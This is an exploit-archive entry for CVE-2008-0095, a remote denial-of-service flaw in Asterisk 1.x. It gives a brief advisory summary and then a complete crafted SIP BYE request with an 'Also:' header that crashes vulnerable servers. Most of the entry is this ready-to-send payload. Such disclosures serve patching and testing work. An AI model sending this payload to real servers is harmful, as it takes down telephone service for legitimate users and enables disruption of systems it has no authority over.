Asterisk 1.x - BYE Message Remote Denial of Service Vulnerability



EKU-ID: 3958 CVE: 2008-0095 OSVDB-ID: 39841
Author: greyvoip Published: 2014-04-10 Verified: Verified
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source: http://www.securityfocus.com/bid/27110/info
  
Asterisk is prone to a remote denial-of-service vulnerability.
  
Exploiting this issue allows remote attackers to cause the application to crash, effectively denying service to legitimate users. 
  
BYE sip:303@10.0.0.15 SIP/2.0
Via: SIP/2.0/UDP 10.0.0.100:7279;branch=z9hG4bK976ed70381c64bc6a5ec25b63f3df402
To: <sip:303@10.0.0.15>;tag=as664746ba
From: <sip:user@10.0.0.15>;tag=0509943750
Call-ID: 11f5ae5ba1e04a25a1184ff158654371
CSeq: 3 BYE
Max-Forwards: 70
Also: sip:303@10.0.0.15